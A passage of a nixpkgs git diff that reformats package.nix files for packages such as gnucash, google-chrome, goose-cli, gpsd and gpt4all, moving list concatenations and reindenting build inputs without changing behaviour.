+  ++ lib.optionals (enableRawUdp) [
+    libpcap
+  ]
+  ++ lib.optionals (gnuradio.hasFeature "gr-ctrlport") [
+    thrift
+    gnuradio.unwrapped.python.pkgs.thrift
+  ]
+  ++ lib.optionals (gnuradio.hasFeature "gr-pdu" || gnuradio.hasFeature "gr-iio") [
+    gnuradio.unwrapped.libiio
+  ]
+  ++ lib.optionals (gnuradio.hasFeature "gr-pdu") [
+    gnuradio.unwrapped.libad9361
+  ];
 
   cmakeFlags = [
     (lib.cmakeFeature "GFlags_INCLUDE_DIRS" "${gflags}/include")
diff --git a/pkgs/by-name/gn/gnu-smalltalk/package.nix b/pkgs/by-name/gn/gnu-smalltalk/package.nix
index b6c961a5c72b..07d83d8bdd13 100644
--- a/pkgs/by-name/gn/gnu-smalltalk/package.nix
+++ b/pkgs/by-name/gn/gnu-smalltalk/package.nix
@@ -64,7 +64,8 @@ stdenv.mkDerivation rec {
     cairo
     SDL
     sqlite
-  ] ++ lib.optional emacsSupport emacs;
+  ]
+  ++ lib.optional emacsSupport emacs;
 
   configureFlags = lib.optional (!emacsSupport) "--without-emacs";
 
diff --git a/pkgs/by-name/gn/gnucash/package.nix b/pkgs/by-name/gn/gnucash/package.nix
index 0e131cfa6e8e..0f6838dff902 100644
--- a/pkgs/by-name/gn/gnucash/package.nix
+++ b/pkgs/by-name/gn/gnucash/package.nix
@@ -52,31 +52,30 @@ stdenv.mkDerivation rec {
     "-DPYTHON_SYSCONFIG_BUILD=\"$out\""
   ];
 
-  buildInputs =
-    [
-      aqbanking
-      boost
-      glib
-      glibcLocales
-      gtest
-      guile
-      gwenhywfar
-      icu
-      libdbi
-      libdbiDrivers
-      libofx
-      libsecret
-      libxml2
-      libxslt
-      swig
-      webkitgtk_4_0
-      python3
-    ]
-    ++ (with perlPackages; [
-      JSONParse
-      FinanceQuote
-      perl
-    ]);
+  buildInputs = [
+    aqbanking
+    boost
+    glib
+    glibcLocales
+    gtest
+    guile
+    gwenhywfar
+    icu
+    libdbi
+    libdbiDrivers
+    libofx
+    libsecret
+    libxml2
+    libxslt
+    swig
+    webkitgtk_4_0
+    python3
+  ]
+  ++ (with perlPackages; [
+    JSONParse
+    FinanceQuote
+    perl
+  ]);
 
   patches = [
     # this patch disables test-gnc-timezone and test-gnc-datetime which fail due to nix datetime challenges
diff --git a/pkgs/by-name/gn/gnucobol/package.nix b/pkgs/by-name/gn/gnucobol/package.nix
index 5aa662f00406..fb420d14264f 100644
--- a/pkgs/by-name/gn/gnucobol/package.nix
+++ b/pkgs/by-name/gn/gnucobol/package.nix
@@ -77,17 +77,16 @@ stdenv.mkDerivation (finalAttrs: {
     sed -i "/^875;/d" tests/testsuite
   '';
 
-  preConfigure =
-    ''
-      autoconf
-      aclocal
-      automake
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # when building with nix on darwin, configure will use GNU strip,
-      # which fails due to using --strip-unneeded, which is not supported
-      substituteInPlace configure --replace-fail '"GNU strip"' 'FAKE GNU strip'
-    '';
+  preConfigure = ''
+    autoconf
+    aclocal
+    automake
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # when building with nix on darwin, configure will use GNU strip,
+    # which fails due to using --strip-unneeded, which is not supported
+    substituteInPlace configure --replace-fail '"GNU strip"' 'FAKE GNU strip'
+  '';
 
   # error: call to undeclared function 'xmlCleanupParser'
   # ISO C99 and later do not support implicit function declarations [-Wimplicit-function-declaration]
diff --git a/pkgs/by-name/gn/gnum4/package.nix b/pkgs/by-name/gn/gnum4/package.nix
index 1b264ffc1290..149c51683c44 100644
--- a/pkgs/by-name/gn/gnum4/package.nix
+++ b/pkgs/by-name/gn/gnum4/package.nix
@@ -22,14 +22,13 @@ stdenv.mkDerivation rec {
   patches = lib.optional stdenv.hostPlatform.isLoongArch64 ./loong-fix-build.patch;
   # this could be accomplished by updateAutotoolsGnuConfigScriptsHook, but that causes infinite recursion
   # necessary for FreeBSD code path in configure
-  postPatch =
-    ''
-      substituteInPlace ./build-aux/config.guess --replace-fail /usr/bin/uname uname
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLoongArch64 ''
-      touch ./aclocal.m4 ./lib/config.hin ./configure ./doc/stamp-vti || die
-      find . -name Makefile.in -exec touch {} + || die
-    '';
+  postPatch = ''
+    substituteInPlace ./build-aux/config.guess --replace-fail /usr/bin/uname uname
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLoongArch64 ''
+    touch ./aclocal.m4 ./lib/config.hin ./configure ./doc/stamp-vti || die
+    find . -name Makefile.in -exec touch {} + || die
+  '';
 
   strictDeps = true;
 
@@ -39,7 +38,8 @@ stdenv.mkDerivation rec {
 
   configureFlags = [
     "--with-syscmd-shell=${stdenv.shell}"
-  ] ++ lib.optional stdenv.hostPlatform.isMinGW "CFLAGS=-fno-stack-protector";
+  ]
+  ++ lib.optional stdenv.hostPlatform.isMinGW "CFLAGS=-fno-stack-protector";
 
   meta = {
     description = "GNU M4, a macro processor";
diff --git a/pkgs/by-name/gn/gnumeric/package.nix b/pkgs/by-name/gn/gnumeric/package.nix
index a31fc31d5357..12a5ed975906 100644
--- a/pkgs/by-name/gn/gnumeric/package.nix
+++ b/pkgs/by-name/gn/gnumeric/package.nix
@@ -48,18 +48,17 @@ stdenv.mkDerivation (finalAttrs: {
 
   # ToDo: optional libgda, introspection?
   # TODO: fix Perl plugin when cross-compiling
-  buildInputs =
-    [
-      goffice
-      gtk3
-      adwaita-icon-theme
-      python
-      pygobject3
-    ]
-    ++ (with perlPackages; [
-      perl
-      XMLParser
-    ]);
+  buildInputs = [
+    goffice
+    gtk3
+    adwaita-icon-theme
+    python
+    pygobject3
+  ]
+  ++ (with perlPackages; [
+    perl
+    XMLParser
+  ]);
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/go/go-musicfox/package.nix b/pkgs/by-name/go/go-musicfox/package.nix
index 1125622d4752..a720fc3aae00 100644
--- a/pkgs/by-name/go/go-musicfox/package.nix
+++ b/pkgs/by-name/go/go-musicfox/package.nix
@@ -36,13 +36,12 @@ buildGoModule rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      flac
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-    ];
+  buildInputs = [
+    flac
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+  ];
 
   passthru.updateScript = nix-update-script { };
 
diff --git a/pkgs/by-name/go/go-task/package.nix b/pkgs/by-name/go/go-task/package.nix
index e0efeadb41c6..0cb05ea383c0 100644
--- a/pkgs/by-name/go/go-task/package.nix
+++ b/pkgs/by-name/go/go-task/package.nix
@@ -33,16 +33,15 @@ buildGoModule (finalAttrs: {
 
   env.CGO_ENABLED = 0;
 
-  postInstall =
-    ''
-      ln -s $out/bin/task $out/bin/go-task
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      installShellCompletion --cmd task \
-        --bash <($out/bin/task --completion bash) \
-        --fish <($out/bin/task --completion fish) \
-        --zsh <($out/bin/task --completion zsh)
-    '';
+  postInstall = ''
+    ln -s $out/bin/task $out/bin/go-task
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd task \
+      --bash <($out/bin/task --completion bash) \
+      --fish <($out/bin/task --completion fish) \
+      --zsh <($out/bin/task --completion zsh)
+  '';
 
   nativeInstallCheckInputs = [
     versionCheckHook
diff --git a/pkgs/by-name/go/goaccess/package.nix b/pkgs/by-name/go/goaccess/package.nix
index c017143fb1aa..46c1897ef5f2 100644
--- a/pkgs/by-name/go/goaccess/package.nix
+++ b/pkgs/by-name/go/goaccess/package.nix
@@ -23,18 +23,18 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ autoreconfHook ];
 
-  buildInputs =
-    [
-      ncurses
-      openssl
-    ]
-    ++ lib.optionals withGeolocation [ libmaxminddb ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ gettext ];
+  buildInputs = [
+    ncurses
+    openssl
+  ]
+  ++ lib.optionals withGeolocation [ libmaxminddb ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ gettext ];
 
   configureFlags = [
     "--enable-utf8"
     "--with-openssl"
-  ] ++ lib.optionals withGeolocation [ "--enable-geoip=mmdb" ];
+  ]
+  ++ lib.optionals withGeolocation [ "--enable-geoip=mmdb" ];
 
   env.NIX_CFLAGS_COMPILE = toString (
     lib.optionals stdenv.hostPlatform.isDarwin [
diff --git a/pkgs/by-name/go/goarista/package.nix b/pkgs/by-name/go/goarista/package.nix
index 87f68addd919..04b897a6fcda 100644
--- a/pkgs/by-name/go/goarista/package.nix
+++ b/pkgs/by-name/go/goarista/package.nix
@@ -22,7 +22,8 @@ buildGoModule {
     let
       skippedTests = [
         "TestDeepSizeof"
-      ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ "TestDialTCPTimeoutWithTOS" ];
+      ]
+      ++ lib.optionals stdenv.hostPlatform.isDarwin [ "TestDialTCPTimeoutWithTOS" ];
     in
     [ "-skip=^${builtins.concatStringsSep "$|^" skippedTests}$" ];
 
diff --git a/pkgs/by-name/go/golden-cheetah/package.nix b/pkgs/by-name/go/golden-cheetah/package.nix
index f1dde6dc67db..021f016f8245 100644
--- a/pkgs/by-name/go/golden-cheetah/package.nix
+++ b/pkgs/by-name/go/golden-cheetah/package.nix
@@ -54,15 +54,14 @@ stdenv.mkDerivation (finalAttrs: {
       libusb-compat-0_1
       zlib
     ];
-  nativeBuildInputs =
-    [
-      bison
-      flex
-    ]
-    ++ (with qt6; [
-      qmake
-      wrapQtAppsHook
-    ]);
+  nativeBuildInputs = [
+    bison
+    flex
+  ]
+  ++ (with qt6; [
+    qmake
+    wrapQtAppsHook
+  ]);
 
   patches = [
     # allow building with bison 3.7
diff --git a/pkgs/by-name/go/gomanagedocker/package.nix b/pkgs/by-name/go/gomanagedocker/package.nix
index b9245766f566..04b7afaf56ee 100644
--- a/pkgs/by-name/go/gomanagedocker/package.nix
+++ b/pkgs/by-name/go/gomanagedocker/package.nix
@@ -33,7 +33,8 @@ buildGoModule {
   buildInputs = [
     gpgme
     btrfs-progs
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ xorg.libX11 ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ xorg.libX11 ];
 
   ldflags = [
     "-s"
diff --git a/pkgs/by-name/go/goodvibes/package.nix b/pkgs/by-name/go/goodvibes/package.nix
index 653f3cf1ed9a..02944b66b646 100644
--- a/pkgs/by-name/go/goodvibes/package.nix
+++ b/pkgs/by-name/go/goodvibes/package.nix
@@ -36,22 +36,21 @@ stdenv.mkDerivation rec {
     desktop-file-utils
   ];
 
-  buildInputs =
-    [
-      glib
-      # for libsoup TLS support
-      glib-networking
-      gtk3
-      libsoup_3
-      keybinder3
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-bad
-      gst-plugins-ugly
-    ]);
+  buildInputs = [
+    glib
+    # for libsoup TLS support
+    glib-networking
+    gtk3
+    libsoup_3
+    keybinder3
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-bad
+    gst-plugins-ugly
+  ]);
 
   postPatch = ''
     patchShebangs scripts
diff --git a/pkgs/by-name/go/google-amber/package.nix b/pkgs/by-name/go/google-amber/package.nix
index 187ba46ab539..270db1e31b8a 100644
--- a/pkgs/by-name/go/google-amber/package.nix
+++ b/pkgs/by-name/go/google-amber/package.nix
@@ -67,16 +67,15 @@ stdenv.mkDerivation (finalAttrs: {
     vulkan-loader
   ];
 
-  nativeBuildInputs =
-    [
-      cmake
-      makeWrapper
-      pkg-config
-      python3
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      cctools
-    ];
+  nativeBuildInputs = [
+    cmake
+    makeWrapper
+    pkg-config
+    python3
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    cctools
+  ];
 
   # Tests are disabled so we do not have to pull in googletest and more dependencies
   cmakeFlags = [
diff --git a/pkgs/by-name/go/google-chrome/package.nix b/pkgs/by-name/go/google-chrome/package.nix
index 655656401dde..e70a9db428fd 100644
--- a/pkgs/by-name/go/google-chrome/package.nix
+++ b/pkgs/by-name/go/google-chrome/package.nix
@@ -103,71 +103,70 @@ let
 
   opusWithCustomModes = libopus.override { withCustomModes = true; };
 
-  deps =
-    [
-      alsa-lib
-      at-spi2-atk
-      at-spi2-core
-      atk
-      bzip2
-      cairo
-      coreutils
-      cups
-      curl
-      dbus
-      expat
-      flac
-      fontconfig
-      freetype
-      gcc-unwrapped.lib
-      gdk-pixbuf
-      glib
-      harfbuzz
-      icu
-      libcap
-      libdrm
-      liberation_ttf
-      libexif
-      libglvnd
-      libkrb5
-      libpng
-      libX11
-      libxcb
-      libXcomposite
-      libXcursor
-      libXdamage
-      libXext
-      libXfixes
-      libXi
-      libxkbcommon
-      libXrandr
-      libXrender
-      libXScrnSaver
-      libxshmfence
-      libXtst
-      libgbm
-      nspr
-      nss
-      opusWithCustomModes
-      pango
-      pciutils
-      pipewire
-      snappy
-      speechd-minimal
-      systemd
-      util-linux
-      vulkan-loader
-      wayland
-      wget
-    ]
-    ++ lib.optional pulseSupport libpulseaudio
-    ++ lib.optional libvaSupport libva
-    ++ [
-      gtk3
-      gtk4
-      qt6.qtbase
-      qt6.qtwayland
-    ];
+  deps = [
+    alsa-lib
+    at-spi2-atk
+    at-spi2-core
+    atk
+    bzip2
+    cairo
+    coreutils
+    cups
+    curl
+    dbus
+    expat
+    flac
+    fontconfig
+    freetype
+    gcc-unwrapped.lib
+    gdk-pixbuf
+    glib
+    harfbuzz
+    icu
+    libcap
+    libdrm
+    liberation_ttf
+    libexif
+    libglvnd
+    libkrb5
+    libpng
+    libX11
+    libxcb
+    libXcomposite
+    libXcursor
+    libXdamage
+    libXext
+    libXfixes
+    libXi
+    libxkbcommon
+    libXrandr
+    libXrender
+    libXScrnSaver
+    libxshmfence
+    libXtst
+    libgbm
+    nspr
+    nss
+    opusWithCustomModes
+    pango
+    pciutils
+    pipewire
+    snappy
+    speechd-minimal
+    systemd
+    util-linux
+    vulkan-loader
+    wayland
+    wget
+  ]
+  ++ lib.optional pulseSupport libpulseaudio
+  ++ lib.optional libvaSupport libva
+  ++ [
+    gtk3
+    gtk4
+    qt6.qtbase
+    qt6.qtwayland
+  ];
 
   linux = stdenvNoCC.mkDerivation (finalAttrs: {
     inherit pname meta passthru;
diff --git a/pkgs/by-name/go/google-cloud-cpp/package.nix b/pkgs/by-name/go/google-cloud-cpp/package.nix
index 1f6c115e09ae..2002458001e0 100644
--- a/pkgs/by-name/go/google-cloud-cpp/package.nix
+++ b/pkgs/by-name/go/google-cloud-cpp/package.nix
@@ -120,20 +120,19 @@ stdenv.mkDerivation rec {
     gtest
   ];
 
-  cmakeFlags =
-    [
-      "-DBUILD_SHARED_LIBS:BOOL=${if staticOnly then "OFF" else "ON"}"
-      # unconditionally build tests to catch linker errors as early as possible
-      # this adds a good chunk of time to the build
-      "-DBUILD_TESTING:BOOL=ON"
-      "-DGOOGLE_CLOUD_CPP_ENABLE_EXAMPLES:BOOL=OFF"
-    ]
-    ++ lib.optionals (apis != [ "*" ]) [
-      "-DGOOGLE_CLOUD_CPP_ENABLE=${lib.concatStringsSep ";" apis}"
-    ]
-    ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
-      "-DGOOGLE_CLOUD_CPP_GRPC_PLUGIN_EXECUTABLE=${lib.getBin pkgsBuildHost.grpc}/bin/grpc_cpp_plugin"
-    ];
+  cmakeFlags = [
+    "-DBUILD_SHARED_LIBS:BOOL=${if staticOnly then "OFF" else "ON"}"
+    # unconditionally build tests to catch linker errors as early as possible
+    # this adds a good chunk of time to the build
+    "-DBUILD_TESTING:BOOL=ON"
+    "-DGOOGLE_CLOUD_CPP_ENABLE_EXAMPLES:BOOL=OFF"
+  ]
+  ++ lib.optionals (apis != [ "*" ]) [
+    "-DGOOGLE_CLOUD_CPP_ENABLE=${lib.concatStringsSep ";" apis}"
+  ]
+  ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
+    "-DGOOGLE_CLOUD_CPP_GRPC_PLUGIN_EXECUTABLE=${lib.getBin pkgsBuildHost.grpc}/bin/grpc_cpp_plugin"
+  ];
 
   requiredSystemFeatures = [ "big-parallel" ];
 
diff --git a/pkgs/by-name/go/google-fonts/package.nix b/pkgs/by-name/go/google-fonts/package.nix
index 8e1338bbd880..e4af1e844e0e 100644
--- a/pkgs/by-name/go/google-fonts/package.nix
+++ b/pkgs/by-name/go/google-fonts/package.nix
@@ -49,25 +49,24 @@ stdenvNoCC.mkDerivation {
   # FamilyName.ttf. This installs all fonts if fonts is empty and otherwise
   # only the specified fonts by FamilyName.
   fonts = map (font: builtins.replaceStrings [ " " ] [ "" ] font) fonts;
-  installPhase =
-    ''
-      adobeBlankDest=$adobeBlank/share/fonts/truetype
-      install -m 444 -Dt $adobeBlankDest ofl/adobeblank/AdobeBlank-Regular.ttf
-      rm -r ofl/adobeblank
-      dest=$out/share/fonts/truetype
-    ''
-    + (
-      if fonts == [ ] then
-        ''
-          find . -name '*.ttf' -exec install -m 444 -Dt $dest '{}' +
-        ''
-      else
-        ''
-          for font in $fonts; do
-            find . \( -name "$font-*.ttf" -o -name "$font[*.ttf" -o -name "$font.ttf" \) -exec install -m 444 -Dt $dest '{}' +
-          done
-        ''
-    );
+  installPhase = ''
+    adobeBlankDest=$adobeBlank/share/fonts/truetype
+    install -m 444 -Dt $adobeBlankDest ofl/adobeblank/AdobeBlank-Regular.ttf
+    rm -r ofl/adobeblank
+    dest=$out/share/fonts/truetype
+  ''
+  + (
+    if fonts == [ ] then
+      ''
+        find . -name '*.ttf' -exec install -m 444 -Dt $dest '{}' +
+      ''
+    else
+      ''
+        for font in $fonts; do
+          find . \( -name "$font-*.ttf" -o -name "$font[*.ttf" -o -name "$font.ttf" \) -exec install -m 444 -Dt $dest '{}' +
+        done
+      ''
+  );
 
   meta = with lib; {
     homepage = "https://fonts.google.com";
diff --git a/pkgs/by-name/go/goose-cli/package.nix b/pkgs/by-name/go/goose-cli/package.nix
index cda7b6abd5e1..183e0137841c 100644
--- a/pkgs/by-name/go/goose-cli/package.nix
+++ b/pkgs/by-name/go/goose-cli/package.nix
@@ -54,28 +54,27 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   __darwinAllowLocalNetworking = true;
 
-  checkFlags =
-    [
-      # need dbus-daemon
-      "--skip=config::base::tests::test_multiple_secrets"
-      "--skip=config::base::tests::test_secret_management"
-      "--skip=config::base::tests::test_concurrent_extension_writes"
-      # Observer should be Some with both init project keys set
-      "--skip=tracing::langfuse_layer::tests::test_create_langfuse_observer"
-      "--skip=providers::gcpauth::tests::test_token_refresh_race_condition"
-      # Lazy instance has previously been poisoned
-      "--skip=jetbrains::tests::test_capabilities"
-      "--skip=jetbrains::tests::test_router_creation"
-      "--skip=logging::tests::test_log_file_name::with_session_name_without_error_capture"
-      "--skip=logging::tests::test_log_file_name::without_session_name"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "--skip=providers::gcpauth::tests::test_load_from_metadata_server"
-      "--skip=providers::oauth::tests::test_get_workspace_endpoints"
-      "--skip=tracing::langfuse_layer::tests::test_batch_manager_spawn_sender"
-      "--skip=tracing::langfuse_layer::tests::test_batch_send_partial_failure"
-      "--skip=tracing::langfuse_layer::tests::test_batch_send_success"
-    ];
+  checkFlags = [
+    # need dbus-daemon
+    "--skip=config::base::tests::test_multiple_secrets"
+    "--skip=config::base::tests::test_secret_management"
+    "--skip=config::base::tests::test_concurrent_extension_writes"
+    # Observer should be Some with both init project keys set
+    "--skip=tracing::langfuse_layer::tests::test_create_langfuse_observer"
+    "--skip=providers::gcpauth::tests::test_token_refresh_race_condition"
+    # Lazy instance has previously been poisoned
+    "--skip=jetbrains::tests::test_capabilities"
+    "--skip=jetbrains::tests::test_router_creation"
+    "--skip=logging::tests::test_log_file_name::with_session_name_without_error_capture"
+    "--skip=logging::tests::test_log_file_name::without_session_name"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "--skip=providers::gcpauth::tests::test_load_from_metadata_server"
+    "--skip=providers::oauth::tests::test_get_workspace_endpoints"
+    "--skip=tracing::langfuse_layer::tests::test_batch_manager_spawn_sender"
+    "--skip=tracing::langfuse_layer::tests::test_batch_send_partial_failure"
+    "--skip=tracing::langfuse_layer::tests::test_batch_send_success"
+  ];
 
   passthru.updateScript = nix-update-script { };
 
diff --git a/pkgs/by-name/go/goss/package.nix b/pkgs/by-name/go/goss/package.nix
index 80542fa89cd0..0476d575a15c 100644
--- a/pkgs/by-name/go/goss/package.nix
+++ b/pkgs/by-name/go/goss/package.nix
@@ -41,7 +41,8 @@ buildGoModule rec {
       runtimeDependencies = [
         bash
         getent
-      ] ++ lib.optionals stdenv.hostPlatform.isLinux [ systemd ];
+      ]
+      ++ lib.optionals stdenv.hostPlatform.isLinux [ systemd ];
     in
     ''
       wrapProgram $out/bin/goss \
diff --git a/pkgs/by-name/go/gossip/package.nix b/pkgs/by-name/go/gossip/package.nix
index 33eec234f389..d671cefc5cdc 100644
--- a/pkgs/by-name/go/gossip/package.nix
+++ b/pkgs/by-name/go/gossip/package.nix
@@ -45,33 +45,31 @@ rustPlatform.buildRustPackage rec {
     "lang-cjk"
   ];
 
-  nativeBuildInputs =
-    [
-      cmake
-      git
-      pkg-config
-      rustPlatform.bindgenHook
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      wayland-scanner
-    ];
+  nativeBuildInputs = [
+    cmake
+    git
+    pkg-config
+    rustPlatform.bindgenHook
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    wayland-scanner
+  ];
 
-  buildInputs =
-    [
-      SDL2
-      ffmpeg_6
-      fontconfig
-      libGL
-      libxkbcommon
-      openssl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      wayland
-      libX11
-      libXcursor
-      libXi
-      libXrandr
-    ];
+  buildInputs = [
+    SDL2
+    ffmpeg_6
+    fontconfig
+    libGL
+    libxkbcommon
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    wayland
+    libX11
+    libXcursor
+    libXi
+    libXrandr
+  ];
 
   # Tests rely on local files, so disable them. (I'm too lazy to patch it.)
   doCheck = false;
diff --git a/pkgs/by-name/go/got/package.nix b/pkgs/by-name/go/got/package.nix
index 101a4b569182..60581d64410c 100644
--- a/pkgs/by-name/go/got/package.nix
+++ b/pkgs/by-name/go/got/package.nix
@@ -35,22 +35,22 @@ stdenv.mkDerivation (finalAttrs: {
   nativeBuildInputs = [
     pkg-config
     bison
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ autoPatchelfHook ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ autoPatchelfHook ];
 
-  buildInputs =
-    [
-      libressl
-      libbsd
-      libevent
-      libuuid
-      libmd
-      zlib
-      ncurses
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libossp_uuid
-      apple-sdk_15
-    ];
+  buildInputs = [
+    libressl
+    libbsd
+    libevent
+    libuuid
+    libmd
+    zlib
+    ncurses
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libossp_uuid
+    apple-sdk_15
+  ];
 
   preConfigure = lib.optionalString stdenv.hostPlatform.isDarwin ''
     # The configure script assumes dependencies on Darwin are installed via
diff --git a/pkgs/by-name/gp/gpac/package.nix b/pkgs/by-name/gp/gpac/package.nix
index 837ea06a44ae..44da242fca32 100644
--- a/pkgs/by-name/gp/gpac/package.nix
+++ b/pkgs/by-name/gp/gpac/package.nix
@@ -20,13 +20,12 @@ stdenv.mkDerivation rec {
 
   # this is the bare minimum configuration, as I'm only interested in MP4Box
   # For most other functionality, this should probably be extended
-  nativeBuildInputs =
-    [
-      pkg-config
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      cctools
-    ];
+  nativeBuildInputs = [
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    cctools
+  ];
 
   buildInputs = [
     zlib
diff --git a/pkgs/by-name/gp/gperftools/package.nix b/pkgs/by-name/gp/gperftools/package.nix
index 8a6048c09215..6a4fe6e6af6c 100644
--- a/pkgs/by-name/gp/gperftools/package.nix
+++ b/pkgs/by-name/gp/gperftools/package.nix
@@ -31,11 +31,12 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [ autoreconfHook ];
 
   # tcmalloc uses libunwind in a way that works correctly only on non-ARM dynamically linked linux
-  buildInputs =
-    [ perl ]
-    ++ lib.optional (
-      stdenv.hostPlatform.isLinux && !(stdenv.hostPlatform.isAarch || stdenv.hostPlatform.isStatic)
-    ) libunwind;
+  buildInputs = [
+    perl
+  ]
+  ++ lib.optional (
+    stdenv.hostPlatform.isLinux && !(stdenv.hostPlatform.isAarch || stdenv.hostPlatform.isStatic)
+  ) libunwind;
 
   # Disable general dynamic TLS on AArch to support dlopen()'ing the library:
   # https://bugzilla.redhat.com/show_bug.cgi?id=1483558
diff --git a/pkgs/by-name/gp/gpscorrelate/package.nix b/pkgs/by-name/gp/gpscorrelate/package.nix
index 5d9107343c26..4bd63153db4f 100644
--- a/pkgs/by-name/gp/gpscorrelate/package.nix
+++ b/pkgs/by-name/gp/gpscorrelate/package.nix
@@ -32,7 +32,8 @@ stdenv.mkDerivation (finalAttrs: {
     libxslt
     pkg-config
     wrapGAppsHook3
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin desktopToDarwinBundle;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin desktopToDarwinBundle;
 
   buildInputs = [
     exiv2
diff --git a/pkgs/by-name/gp/gpsd/package.nix b/pkgs/by-name/gp/gpsd/package.nix
index 553f2780c448..b6be286466bd 100644
--- a/pkgs/by-name/gp/gpsd/package.nix
+++ b/pkgs/by-name/gp/gpsd/package.nix
@@ -44,38 +44,36 @@ stdenv.mkDerivation rec {
   };
 
   # TODO: render & install HTML documentation using asciidoctor
-  nativeBuildInputs =
-    [
-      pkg-config
-      python3Packages.wrapPython
-      scons
-    ]
-    ++ lib.optionals guiSupport [
-      gobject-introspection
-      wrapGAppsHook3
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    python3Packages.wrapPython
+    scons
+  ]
+  ++ lib.optionals guiSupport [
+    gobject-introspection
+    wrapGAppsHook3
+  ];
 
-  buildInputs =
-    [
-      dbus
-      libusb1
-      ncurses
-      python3Packages.python
-    ]
-    ++ lib.optionals kppsSupport [
-      pps-tools
-    ]
-    ++ lib.optionals guiSupport [
-      atk
-      dbus-glib
-      gdk-pixbuf
-      libX11
-      libXaw
-      libXext
-      libXpm
-      libXt
-      pango
-    ];
+  buildInputs = [
+    dbus
+    libusb1
+    ncurses
+    python3Packages.python
+  ]
+  ++ lib.optionals kppsSupport [
+    pps-tools
+  ]
+  ++ lib.optionals guiSupport [
+    atk
+    dbus-glib
+    gdk-pixbuf
+    libX11
+    libXaw
+    libXext
+    libXpm
+    libXt
+    pango
+  ];
 
   pythonPath = lib.optionals guiSupport [
     python3Packages.pygobject3
diff --git a/pkgs/by-name/gp/gpt4all/package.nix b/pkgs/by-name/gp/gpt4all/package.nix
index 35b32f300c39..fbc125b5e854 100644
--- a/pkgs/by-name/gp/gpt4all/package.nix
+++ b/pkgs/by-name/gp/gpt4all/package.nix
@@ -44,54 +44,51 @@ stdenv.mkDerivation (finalAttrs: {
 
   sourceRoot = "${finalAttrs.src.name}/gpt4all-chat";
 
-  nativeBuildInputs =
-    [
-      cmake
-      qt6.wrapQtAppsHook
-    ]
-    ++ lib.optionals cudaSupport [
-      cudaPackages.cuda_nvcc
-      autoAddDriverRunpath
-    ];
+  nativeBuildInputs = [
+    cmake
+    qt6.wrapQtAppsHook
+  ]
+  ++ lib.optionals cudaSupport [
+    cudaPackages.cuda_nvcc
+    autoAddDriverRunpath
+  ];
 
-  buildInputs =
+  buildInputs = [
+    duckx
+    fmt
+    qt6.qt5compat
+    qt6.qtbase
+    qt6.qtdeclarative
+    qt6.qthttpserver
+    qt6.qtsvg
+    qt6.qttools
+    qt6.qtwayland
+    qt6.qtwebengine
+    shaderc
+    vulkan-headers
+    wayland
+  ]
+  ++ lib.optionals cudaSupport (
+    with cudaPackages;
     [
-      duckx
-      fmt
-      qt6.qt5compat
-      qt6.qtbase
-      qt6.qtdeclarative
-      qt6.qthttpserver
-      qt6.qtsvg
-      qt6.qttools
-      qt6.qtwayland
-      qt6.qtwebengine
-      shaderc
-      vulkan-headers
-      wayland
+      cuda_cccl
+      cuda_cudart
+      libcublas
     ]
-    ++ lib.optionals cudaSupport (
-      with cudaPackages;
-      [
-        cuda_cccl
-        cuda_cudart
-        libcublas
-      ]
-    );
+  );
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "KOMPUTE_OPT_USE_BUILT_IN_VULKAN_HEADER" false)
-      (lib.cmakeBool "KOMPUTE_OPT_DISABLE_VULKAN_VERSION_CHECK" true)
-      (lib.cmakeBool "KOMPUTE_OPT_USE_BUILT_IN_FMT" false)
+  cmakeFlags = [
+    (lib.cmakeBool "KOMPUTE_OPT_USE_BUILT_IN_VULKAN_HEADER" false)
+    (lib.cmakeBool "KOMPUTE_OPT_DISABLE_VULKAN_VERSION_CHECK" true)
+    (lib.cmakeBool "KOMPUTE_OPT_USE_BUILT_IN_FMT" false)
 
-      # https://github.com/NixOS/nixpkgs/issues/298997
